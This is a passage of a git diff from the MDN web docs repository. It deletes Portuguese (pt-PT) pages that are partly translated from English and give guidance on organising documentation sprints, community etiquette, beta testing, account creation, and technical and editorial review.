Sprints can be virtual or in-person, or some combination. For a virtual sprint, everyone participates from wherever they happen to be located, communicating solely through mediated channels. For an in-person sprint, participants gather in the same location for the duration of the sprint, so that they can communicate face-to-face. Hybrid sprints can be mostly-in-person with some remote participants, or mostly-virtual with some local gatherings. In-person sprints require more logistical planning, to secure a meeting location, to get everybody there, and to house and feed them during the sprint.

- -

Another way to categorize sprints is by topical focus. For example, a sprint might focus on a particular subject area, such as Web development, or translation into a particular language.

- -

Planear um sprint

- -

Determinar os objetivos

- -

Have a clear idea of what the goals are for the sprint, for both content and community. This helps drive your planning of lower-level details.

- -
    -
  • Do you want to document a particular topic area?
  • -
  • Do you want to create a particular type of documents or resources? For example, tutorials, code examples, or translations in a particular language.
  • -
  • Do you want to attract new people to contribute to MDN?
  • -
  • Do you want to increase cohesion among existing community members?
  • -
- -

Decidir o tipo e âmbito

- -

Based on your goals, decide on the type of sprint (virtual, in-person, or combination) and the scope (what participants will focus on).

- -

For example, if you want to attract new community members, a local in-person sprint would be a good choice, because no travel is involved, but participants get to meet each other. If you want to focus on a specific subject area, where the content contributors are geographically distributed, and already know each other, then a virtual sprint may make sense.

- -

Escolher datas e horas

- -

For in-person sprints that require travel, we've found that three days (such as two weekend days and a weekday) is enough time to get some significant work done, without taking too much time away from everyone's normal lives. For public, local, in-person sprints, one day is the most you can expect most people to commit. For virtual sprints, we typically run for two days: a weekday and a weekend day. As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).

- -

Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint during a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.

- -

Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.

- -

For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.

- -

Promoter o sprint

- -

You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.

- -

For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. Eventbrite and Lanyrd are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.

- -

Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.

- -

Logística para sprints em pessoa

- -

Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.

- -

Orçamento e financiamento

- -

You need to figure out how much the event is going to cost, and where the money is going to come from.

- -

Costs to consider in your budget include:

- -
    -
  • Travel
  • -
  • Lodging
  • -
  • Food
  • -
  • Meeting space
  • -
- -

Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.

- -

It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a Mozilla Rep in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a developer events request in Bugzilla.

- -
-
Ponto de encontro
-
There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.
-
Recursos
-
Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.
-
Viagens
-
Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.
-
Acomodação
-
Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.
-
Alimentação
-
Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.
-
Diversão
-
Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.
-
- -

Durante o sprint

- -

Planear o trabalho

- -

 

- -

Monitorizar tarefas

- -

Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.

- -

Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.

- -

Colaboração

- -

One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.

- -

As an organizer, look for common interests among the participants and for ways that they can work together.

- -

Celebrar realizações

- -

Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.

- -

Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.

diff --git a/files/pt-pt/orphaned/mdn/community/index.html b/files/pt-pt/orphaned/mdn/community/index.html deleted file mode 100644 index 377c1cd06f..0000000000 --- a/files/pt-pt/orphaned/mdn/community/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Aderir à Comunidade da MDN -slug: orphaned/MDN/Community -tags: - - Comunidade - - Guía - - Landing - - Metadados MDN -translation_of: MDN/Community -original_slug: MDN/Comunidade ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -
-

Os Documentos da Web da MDN é mais do que uma wiki:

- -

É uma comunidade de programadores a trabalhar em conjunto para tornar a MDN num recurso marcante para os programadores que utilizam as tecnologias abertas da Web.

-
- -

Nós adoraríamos se contribuísse para a MDN, mas nós ainda iríamos adorar mais se participasse na comunidade da MDN. Aqui tem como ligar-se, em três passos fáceis:

- -
    -
  1. Criar uma conta na MDN.
  2. -
  3. Juntar-se às conversações.
  4. -
  5. Seguir o que está a acontecer.
  6. -
- -

Como é que a comunidade funciona

- -

O seguinte são mais artigos que descrevem a comunidade da MDN.

- -
-
-
-
Regras da comunidade
-
Há várias funções dentro da comunidade da MDN que possuem responsabilidades específicas.
-
Doc sprints
-
Este é um guia para organizar um sprint de documentação. Este contém conselhos e dicas de pessoas que organizaram sprints de documentos, para ajudá-lo a organizar um também.
-
Seguir o que está a acontecer
-
A MDN é trazida para si pela comunidade da Rede de Desenvolviemtno da Mozilla. Aqui tem algumas maneiras, e assim nós partilhamos a informação sobre o que estamos a fazer.
-
- -
-
-
- -
-
-
Conversações da comunidade da MDN
-
O "trabalho" da MDN acontece no site da MDN, mas a "comunidade" também acontece através de discussões (assíncronas) e conversação e reuniões on-line (síncrono).
-
Trabalhar em comunidade
-
Uma parte importante da contribuição para a documentação da MDN em qualquer escala significativa é saber como trabalhar como parte da comunidade da MDN. Este artigo oferece dicas para ajudá-lo a aproveitar ao máximo as interações com os outros escritores e com as equipas de desenvolvimento.
-
-
-
diff --git a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html b/files/pt-pt/orphaned/mdn/community/whats_happening/index.html deleted file mode 100644 index db6c4837ce..0000000000 --- a/files/pt-pt/orphaned/mdn/community/whats_happening/index.html +++ /dev/null @@ -1,43 +0,0 @@ ---- -title: Seguir o que está a acontecer -slug: orphaned/MDN/Community/Whats_happening -tags: - - Comunidade - - Guia(2) - - Metadados MDN - - Principiante -translation_of: MDN/Community/Whats_happening -original_slug: MDN/Comunidade/O_que_está_a_acontecer ---- -
{{MDNSidebar}}

MDN is brought to you by the Mozilla Developer Network community. Here are some ways to that we share information about what we're doing.

- -

Blogues

- -
-
Mozilla Hacks
-
News about and in-depth coverage of Web and Mozilla technologies and features.
-
Engaging Developers
-
Promoting activity and discussion amongst the community involved in MDN at Mozilla.
-
- -

Emissões de ephemera

- -
    -
  • @MozDevNet: Curated feed of new pages, significant updates, and other news about Mozilla Developer Network.
  • -
  • @MozHacks: Tweets about new web technologies, great HTML5 apps, and Firefox features.
  • -
  • Mozilla Hacks (YouTube)
  • -
- -

Estado das informações e painéis

- -

The MDN documentation team maintains a Trello board on which our projects are tracked. This board is read-only but will let you see what's being worked on and what we hope to do soon, and may help you figure out where you can help. This article explains how this board is used.

- -

In addtion, take a look at the Documentation status pages to see what's going on across the full breadth of MDN content. You'll be able to see what articles need to be written or updated, what topics need the most help, and much, much more.

- -

Encontros da MDN

- -

There are a number of regular meetings for tracking and sharing progress on various MDN-related projects and processes. These are described on the MDN meetings wiki page.

- -

To get a general sense of what's happening, the best meeting to attend is the MDN Community meeting, which occurs every two weeks on Wednesdays, 10:00 US Pacific time (UTC-0800 October-March, UTC-0700 in March-October), in the #mdn IRC channel. See the MDN community meetings wiki page for agendas and notes from past meetings.

- -

The Public MDN Events calendar contains MDN community meetings, doc sprints, and other MDN-related events.

diff --git a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html b/files/pt-pt/orphaned/mdn/community/working_in_community/index.html deleted file mode 100644 index 5157c991d1..0000000000 --- a/files/pt-pt/orphaned/mdn/community/working_in_community/index.html +++ /dev/null @@ -1,103 +0,0 @@ ---- -title: Trabalhar em comunidade -slug: orphaned/MDN/Community/Working_in_community -translation_of: MDN/Community/Working_in_community -original_slug: MDN/Comunidade/Trabalhar_em_comunidade ---- -
{{MDNSidebar}}
- -

TA major part of contributing to MDN documentation on any significant scale is knowing how to work as part of the MDN community. This article offers tips to help you make the most of your interactions with both other writers and with development teams.

- -

Guias gerais de etiqueta

- -

Here are some general guidelines for conduct when working in the Mozilla community.

- -
    -
  • Be polite! Even in disagreement, we all have the same mission: the betterment of the Web.
  • -
  • Ask, don't demand. People are far more likely to be helpful and responsive when you politely request help rather than demand it. While the documentation work is important, and our development community knows it, human instinct tends to cause people to be abrasive and difficult if you don't treat them with due respect.
  • -
  • Balance your need for information with the urgency of the documentation and the time the others in your discussion have to devote to helping you. Don't keep pushing for more and more details if it's not absolutely necessary right away, to the point of driving the others involved in the conversation crazy.
  • -
  • Keep in mind that your request takes valuable time from the people you're contacting, so be sure to use their time well.
  • -
  • Be considerate of cultural differences. Mozilla is a multinational and multicultural team, so when talking to someone whose culture is, or may be, different from your own, be sure to keep that in mind while communicating.
  • -
  • Start a new conversation instead of highjacking an existing conversation. Don't inject your questions into an unrelated conversation just because the people you need to talk to are paying attention to it. While convenient for you, this can irritate the people you're trying to talk to, and result in a less than ideal outcome.
  • -
  • Avoid {{interwiki("wikipedia", "bikeshedding")}}. Don't let your enthusiasm become annoying pedantry. It makes conversations cumbersome and unfocused.
  • -
- -

Seja delicado

- -

Always be tactful and respectful when communicating with others.

- -

Politely pointing out mistakes

- -

If your purpose in contacting someone is to ask them to do something differently, or to point out a mistake they've been making (especially if they repeatedly do it), start your message with a positive comment. This softens the blow, so to speak, and it demonstrates that you're trying to be helpful, rather than setting you up as the  bad guy.

- -

For example, if a new contributor has been creating lots of pages without tags, and you'd like to point out this problem, your message to them might look like this (the stuff you'd need to change for each case us underlined):

- -
-

Hi, MrBigglesworth, I've been noticing your contributions to the Wormhole API documentation, and it's fantastic to have your help! I particularly like the way you balanced your level of detail with readability. That said, though, you could make these articles even better and more helpful if you added the correct tags to the pages as you go.

- -

See the MDN tagging guide (https://developer.mozilla.org/en-US/docs/MDN/Contribute/Howto/Tag) for details.

- -

Thanks again, and I look forward to your future contributions!

-
- -

Partilhar conhecimento

- -

As you participate in the MDN project, it's useful to know what's going on, and to interact with other members of our community. By talking with others in our community, you can get—and share—ideas, status updates, and more. We also have tools and informational resources that can help you know what's being done, by whom.

- -

Communication channels

- -

There are several ways you can engage with community members (either developers or writers), each of which has some of its own particular rules of etiquette.

- -

Bugzilla

- -

When writing documentation to cover changes implemented as a result of a bug in Bugzilla, you'll often interact with people involved in those bugs. Be sure to keep the Bugzilla Etiquette guide in mind at all times!

- -

Correio eletrónico

- -

Sometimes, a private email exchange between you and one or more other people is the way to go, if you have their email address.

- -
-

Note: As a general rule, if someone has posted their email address on documents about the technology you're documenting, has given you their email address personally, or generally has a well-known email address, email is an acceptable "first contact" approach. If you have to dig for it, you probably should try to get permission in IRC or a mailing list first, unless you've exhausted all other attempts at getting in touch.

-
- -

Ferramentas de estado de conteúdo

- -

We have several useful tools that provide information about the status of documentation content.

- -
-
Revision dashboard
-
The revision dashboard provides a fantastic tool to review changes made to MDN content. You can see recent history, choose a range of time to view, and filter based on things like locale, contributor's name, and topic. Once you're looking at a set of revisions, you can view the changes made in each revision, quickly open the page, see a full history, or even revert the changes (if you have those privileges).
-
Documentation status overview
-
Our documentation status overview page provides a list of all the areas of MDN that have been configured for status tracking, with information about how many pages therein need different types of work done. Click through to a particular topic area to see detailed lists of content that needs work, such as pages that have no tags, or are tagged with indicators that certain types of work need to be done. You can even see lists of pages that haven't been updated in a long time and may be out of date, as well as a list of bugs that have been flagged as impacting the documentation in that area.
-
Documentation project plans
-
We have a number of writing projects that are in the planning stages, or are large and ongoing, for which we have written planning documents to help us keep track of what we need to get done.
-
MDN Taiga
-
The MDN staff writers use a tool called Taiga to manage current and future documentation projects. You can take a look to see what we're doing and how it's going, and you can see what projects we'd like to see happen soon. Some of those will be taken on by staff writers, but you should feel free to take one over if you like! For more information about the agile processes followed by the MDN team, see our Process page on the Mozilla wiki.
-
- -

A comunidade de desenvolvimento

- -

Possibly the most important relationships to develop and maintain, as a member of the MDN writing community, are those you develop and sustain with the developers. They create the software we're developing, but they're also the most useful source of information we have. It's crucial that we maintain good relations with developers—the more they like you, the more likely they are to answer your questions quickly, accurately, and thoroughly!

- -

In addition, you represent the MDN writing community. Please help ensure we keep our excellent working relationship with the dev team by making every interaction they have with the writing team be a good one.

- -

On a related note, a great way to find the right person to talk to is to look at the module owners lists.

- -

A comunidade de escrita

- -

The writing community is a large one. While the number of extremely frequent, or large-scale contributors is relatively small, there are many dozens or hundreds of people who contribute at least now and then. Fortunately, these are by and large awesome people with a genuine love of the Web, Mozilla, and/or documentation, and interacting with them is almost always pretty easy.

- -

See the article Join the community for more information about the MDN community.

- -

The most frequent place you'll directly interact with other writers is in the {{IRCLink("mdn")}} channel on IRC. This channel is specifically reserved for discussing documentation. For IRC-specific etiquette tips, see the Mozilla Support article "Getting Started with IRC." You'll also have discussions with us on the MDN discussion forum. In general, IRC tends to be used for quick, more in-person-like discussions, while the discussion forum is typically used for longer-duration conversation.

- -

By keeping in mind the {{anch("General etiquette guidelines")}}, you'll find that usually things go very smoothly.

- -

Consultar também

- - diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html deleted file mode 100644 index a71c3daa81..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/be_a_beta_tester/index.html +++ /dev/null @@ -1,53 +0,0 @@ ---- -title: Como participar nos testes "beta" -slug: orphaned/MDN/Contribute/Howto/Be_a_beta_tester -tags: - - MDN Meta - - Metadados MDN -translation_of: MDN/Contribute/Howto/Be_a_beta_tester -original_slug: MDN/Contribute/Howto/Participar_testes_beta ---- -
{{MDNSidebar}}

De vez em quando, à medida que os programadores da plataforma Kuma da MDN fazem alterações no site, nós oferecemos acesso antecipado a essas novas funcionalidades aos membros que optaram por participar nos testes "beta". Como é típico com qualquer teste "beta", as funcionalidades podem não funcionar corretamente em algumas situações.

- -

Participar nos testes "beta"

- -
    -
  1. Depois de iniciar a sessão na MDN, clique no seu nome de utilizador na barra de navegação no topo.
    - Shows location of the user's profile link in the top navigation
    - This takes you to your profile page.
  2. -
  3. Clique no botão "Edit".
    - Shows location of the button to edit a user's profile (which may vary depending on window dimensions
    - This opens the profile page in edit mode.
  4. -
  5. Selecione a caixa para Beta tester.
    - Shows the location of the Beta Tester checkbox
  6. -
  7. Clique no botão "Publicar" no fim da página de perfil.
    - Shows the location of the Publish button on a user's profile page
  8. -
- -

Cancelar participação nos testes "beta"

- -
    -
  1. While logged in to MDN, click your user name in the top navigation bar. This takes you to your profile page.
  2. -
  3. Click the Edit button. This opens the profile page in edit mode.
  4. -
  5. Clear the checkbox for Beta tester.
  6. -
  7. Click the Publish button.
  8. -
- -

Dê a sua opinião/comentário sobre os testes "beta"

- -

There are two ways you can give feedback about a beta test:

- -
    -
  • Share qualitative feedback on the MDN discussion forum. Add a post to the Beta feedback thread.  Or,
  • -
  • File a bug, using the following steps:
  • -
- -
    -
  1. Create an account on Bugzilla if you don't already have one.
  2. -
  3. Open a bug report in Bugzilla for MDN.
  4. -
  5. Include the word "beta" in the Summary field to help MDN developers filter and triage incoming bugs.
  6. -
  7. Fill out the bug report form to the best of your ability. Be as detailed as possible.
  8. -
  9. Click the Submit button.
  10. -
- -

 

diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html deleted file mode 100644 index 4f681cb400..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/create_an_mdn_account/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Como criar uma conta MDN -slug: orphaned/MDN/Contribute/Howto/Create_an_MDN_account -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Principiante -translation_of: MDN/Contribute/Howto/Create_an_MDN_account -original_slug: MDN/Contribute/Howto/Criar_uma_conta_MDN ---- -
{{MDNSidebar}}
- -

Para editar conteúdo na MDN precisa de um perfil MDN. Não precisa de um perfil se só pretende ler e pesquisar documentos na MDN. Este guia irá ajudá-lo a configurar o seu perfil na MDN.

- -
Porque é que a MDN precisa do meu endereço de e-mail?
-
-O seu endereço de e-mail é utilizado para a recuperação da conta e, se necessário, pelos administradores da MDN para o contactar sobre a sua conta ou atividade no site.
-
-Adicionalmente, pode registar-se para receber notificações (tais como, quando são alteradas páginas especificas) e mensagens (por exemplo, se optar por aderir à nossa equipa de testes beta, poderá receber mensagens sobre as novas funcionalidades que precisam de ser testadas).
-
-O seu endereço de e-mail nunca é exibido na MDN e será utilizado apenas de acordo com a nossa politica de privacidade (EN).
- -
Se iniciou a sessão na MDN via GitHub, e utiliza um endereço de e-mail  "não responder" no GitHub, não irá receber mensagens (incluindo as notificações quando subecrever páginas) na MDN.
- -
    -
  1. No topo de cada página na MDN irá encontrar um botão nomeado "Iniciar sessão". Clique com o seu rato (ou toque no mesmo, se estiver a utilizar um dispositivo móvel) para exibir uma lista de serviços de autenticação que nós suportamos para iniciar a sessão na MDN.
  2. -
  3. Selecione um serviço para iniciar a sessão. Atualmente, apenas está disponível o GitHub. Note que se selecionar o GitHub, será incluída uma hiperligação para o seu perfil do GitHub na página pública do seu perfil da MDN.
  4. -
  5. Siga os avisos do GitHub para entrar na sua conta MDN.
  6. -
  7. Assim que o serviço de autenticação volta para o seu MDN, ser-lhe-á pedido para inserir um nome de utilizador e um endereço de e-mail. O seu nome de utilizador será exibido publicamente para creditar o seu trabalho realizado. Não utilize o seu endereço de e-mail como o seu nome de utilizador.
  8. -
  9. Clique em Criar o meu perfil MDN.
  10. -
  11. Se o endereço de e-mail especificado no passo 4 não for o mesmo que utilizou no serviço de autenticação, por favor, verifique o seu e-mail e clique na hiperligação na mensagem de confirmação que nós lhe enviamos.
  12. -
- -

E é tudo! Agora tem uma conta MDN, e pode editar as páginas imediatamente!

- -

Pode clicar no seu nome no topo de qualquer página da MDN para ver o seu perfil público. Lá, pode clicar em Editar para efetuar alterações ou adições ao seu perfil.

- -
-

Os novos nomes de utilizador não podem conter espaços ou o caráter "@". Lembre-se que o seu nome de utilizador será exibido publicamente para identificar o seu trabalho realizado!

-
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html deleted file mode 100644 index 0bcd867312..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/do_a_technical_review/index.html +++ /dev/null @@ -1,66 +0,0 @@ ---- -title: Como efetuar uma revisão técnica -slug: orphaned/MDN/Contribute/Howto/Do_a_technical_review -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Revisão -translation_of: MDN/Contribute/Howto/Do_a_technical_review -original_slug: MDN/Contribute/Howto/Como_efetuar_revisao_tecnica ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/en-US/docs/MDN")}}
- -

'Uma revisão Técnica' consiste em rever a exatidão técnica e a integridade de um artigo e corrigi-lo, se necessário. Se um escritor de um artigo quiser que outra pessoa verifique o conteúdo técnico de um artigo, o escritor marca a caixa de seleção "Revisão técnica" durante a edição. Muitas vezes, o escritor entra em contacto com um técnico específico para realizar a revisão técnica, mas qualquer pessoa com conhecimento técnico no assunto pode efetuar uma.

- -

Este artigo descreve como realizar uma revisão técnica, ajudando a garantir que o conteúdo da MDN seja preciso.

- -
-
O que é uma tarefa?
-
Rever e corrigir os artigos para uma perfeição e exatidão técnica.
-
-

 

- Onde é que esta precisa de ser efetuada?
-
Nos artigos específicos que são marcados como 'necessária uma revisão técnica' (em inglês).
-
O que precisa de saber para realizar a tarefa?
-
-
    -
  • -

    Conhecimento especializado do tópico do artigo que está a rever. Se ao ler o artigo não lhe ensina algo significativamente novo, considere-se um especialista.

    -
  • -
  • Como editar um artigo da wiki na MDN.
  • -
-
-
Quais são os passos a seguir?
-
-
    -
  1. Escolha um artigo para rever: -
      -
    1. Vá para lista das páginas que precisam de revisões técnicas. I -

       

      - sto lista todas as páginas para as quais uma revisão técnica foi solicitada.
    2. -
    3. Escolha uma página cujo tópico esteja familizarizado.
    4. -
    5. Clique na hiperligação do artigo para carregar a página.
    6. -
    -
  2. -
  3. Leia o artigo, tendo em atenção os detalhes técnicos: O artigo está correto? Tem alguma coisa em falta? Não hesite em mudar para uma página diferente se a primeira que escolheu não lhe é conveniente.
  4. -
  5. Se não existirem erros, não precisa de editar o artigo para o marcar como revisto. Veja na caixa "revisão rápida" na barra lateral esquerda da página. Esta caixa amarela lista quaisquer revisões pendentes e deixa-o limpar a bandeira do pedido da sua revisão. Parece-se com isto se foi solicitada uma revisão técnica:
    - Screenshot of the sidebar's box listing reviews that have been requested and allowing the flags to be changed.
  6. -
  7. Desselecione a caixa Técnico, e clique em Guardar.
  8. -
  9. Se encontrar erros que precisam de ser corrigidos, irá ficar feliz em saber que também pode alterar o estado da solicitação de revisão no editor. Aqui tem o fluxo de trabalho: -
      -
    1. Para editar a página, clique em Editar perto do topo da página; isto coloca-o no editor da MDN.
    2. -
    3. Corrigir qualquer informação técnica que não esteja correta, e/ou adicioanr qualquer informação importante que esteja em falta.
    4. -
    5. Inserir um 'Comentário da Revisão' no fim do artigo. Esta é uma breve mensagem que descreve o que fez, tal como 'Revisão técnica concluída'. Se corrigiu a informação, inclua isso no seu comentário, por exemplo, 'Revisão técnica e descrições dos parâmetros corrigidos'. Isto ajuda os outros colaboradores e editores de sites a saberem o que alterou e o porquê. Também pode mencionar se existiam partes específicas que não se sentia qualificado para rever.
    6. -
    7. Desselecionar a caixa Técnico sob Revisão necessária?.
    8. -
    9. Clique em PUBLICAR.
    10. -
    -
  10. -
- -

Parabéns! Concluiu a sua primeira revisão técnica! Obrigado pela sua ajuda!

-
-
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html deleted file mode 100644 index d99bad01ee..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: Como efetuar uma revisão editorial -slug: orphaned/MDN/Contribute/Howto/Do_an_editorial_review -tags: - - Como - - Documentação - - Guía - - Metadados MDN - - Revisão Editorial -translation_of: MDN/Contribute/Howto/Do_an_editorial_review -original_slug: MDN/Contribute/Howto/fazer_revisão_editorial ---- -
{{MDNSidebar}}
- -
{{IncludeSubnav("/pt-PT/docs/MDN")}}
- -

As revisões editoriais consistem em corrigir erros de digitação, ortografia, gramática, utilização ou erros textuais num artigo. Não é preciso ser um especialistas em linguagem para efetuar contribuições úteis para a documentação técnica da MDN, mas os artigos continuam a precisar de edição de cópia e revisão de provas. Isto é efetuado numa revisão editorial.

- -

Este artigo descreve como efetuar uma revisão editorial, que ajuda a assegurar que o conteúdo na MDN é preciso e bem escrito.

- -
-
O que é a tarefa?
-
Copy-editing and proof-reading of articles that are marked as requiring an editorial review.
-
Onde é que esta tem de ser efetuada?
-
Within specific articles that are marked as requiring an editorial review.
-
O que precisa de saber para efetuar a tarefa?
-
You need to have good English grammar and spelling skills. An editorial review is about ensuring that the grammar, spelling, and wording are correct and make sense, and that the MDN writing style guide is followed.
-
Quais os passos a seguir?
-
-
    -
  1. Escolha um artigo para rever: -
      -
    1. Go to the list of articles needing editorial review. This lists all the pages for which an editorial review has been requested.
    2. -
    3. Click on the article link to load the page.
      - Nota: This listing is generated automatically but infrequently, so some articles appear on the list that no longer need editorial review. If the article you picked does not display a banner that says "This article needs an editorial review", skip that article and pick a different one.
    4. -
    -
  2. -
  3. Read the article, paying close attention for typos, spelling, grammar, or usage errors. Don't hesitate to switch to a different page if the first one you choose doesn't suit you.
  4. -
  5. If there are no errors, you don't need to edit the article to mark it as reviewed. Look for the "quick review" box in the left sidebar of the page:
    - Screenshot of the editorial review request sidebar box
  6. -
  7. Deselect the Editorial box and click Save.
  8. -
  9. If you find errors that need to be corrected: -
      -
    1. Click the Edit button near the top of the page; this brings you into the MDN editor.
    2. -
    3. Correct any typos and spelling, grammar, or usage errors you find. You don't have to fix everything to be useful, but be sure to leave the editorial review request in place if you don't feel reasonably sure that you've done a complete review of the entire article.
    4. -
    5. Enter a Revision Comment at the bottom of the article; something like 'Editorial review: fixed typos, grammar & spelling.' This lets other contributors and site editors know what you changed and why.
    6. -
    7. Deselect the Editorial box under Review Needed?. This is located just below the Revision Comment section of the page.
    8. -
    9. Click the Publish button.
    10. -
    -
  10. -
- -
-

Depois de guardar, as suas alterações poderão não ser visíveis de imediato; existe um pequeno atraso enquanto a página é processada e guardada.

-
-
-
diff --git a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html b/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html deleted file mode 100644 index 3ab82cecd9..0000000000 --- a/files/pt-pt/orphaned/mdn/contribute/howto/set_the_summary_for_a_page/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Como definir o resumo para uma página -slug: orphaned/MDN/Contribute/Howto/Set_the_summary_for_a_page -tags: - - Como - - Guia(2) - - Metadados MDN -translation_of: MDN/Contribute/Howto/Set_the_summary_for_a_page -original_slug: MDN/Contribute/Howto/Como_definir_o_resumo_para_uma_pagina ---- -
{{MDNSidebar}}

Pode definir-se o resumo de uma página no MDN para ser usada de várias maneiras, incluindo em resultados de motores de busca, noutras páginas MDN tais como páginas de destino de tópicos, e dicas ou sugestões de ajuda. Deverá ser um texto que faça sentido quer no contexto da página, quer quando aparece noutros contextos, sem que esteja disponível a totalidade do conteúdo.

- -

Um resumo pode definido explicitamente em apenas uma página. Se não estiver explicitamente definido, então normalmente usam-se as primeiras linhas, o que nem sempre é o melhor para o objectivo pretendido.

- -
-
O que é uma tarefa?
-
Identificar o texto de uma página que melhor poderia ser usado para ser o seu resumo, mesmo que apareça noutros contextos; esta tarefa poderá incluir editar o texto existente e/ou introduzir texto apropriado se necessário.
-
Onde é que esta precisa de ser feita?
-
Em páginas que não têm resumos ou têm um resumo menos bom.
-
O que precisa de saber para efectuar a tarefa?
-
Habilitação para usar o editor MDN; competência em português escrito; familiaridade suficiente com o tópico para escrever um bom resumo.
-
Quais os passos a seguir?
-
-
    -
  1. Escolher uma página para colocar um resumo: -
      -
    1. Na página Estado do documento por tópico, clique num tópico de que tenha algum conhecimento (por exemplo, HTML) da coluna Secções: 
      -
    2. -
    3. Na página de Estado do documento do tópico escolhido, clicar no cabeçalho Pages da tabela Summary.  Irá para um índice de todas as páginas da secção correspondente ao tópico escolhido; mostra os links das páginas na coluna esquerda, e as palavras-chave e resumos na coluna da direita:
      -
    4. -
    5. Escolher uma página que não tenha ou tenha um fraco resumo:
      -
    6. -
    7. Clicar no link para ir para essa página.
    8. -
    -
  2. -
  3. Clicar em  Edit para abrir a página no editor MDN.
  4. -
  5. Tentar encontrar uma frase ou duas que possam servir de resumo, mesmo fora de contexto. Se necessário, editar o conteúdo existente para criar ou modificar frases de modo a que estas se tornem um bom resumo.
  6. -
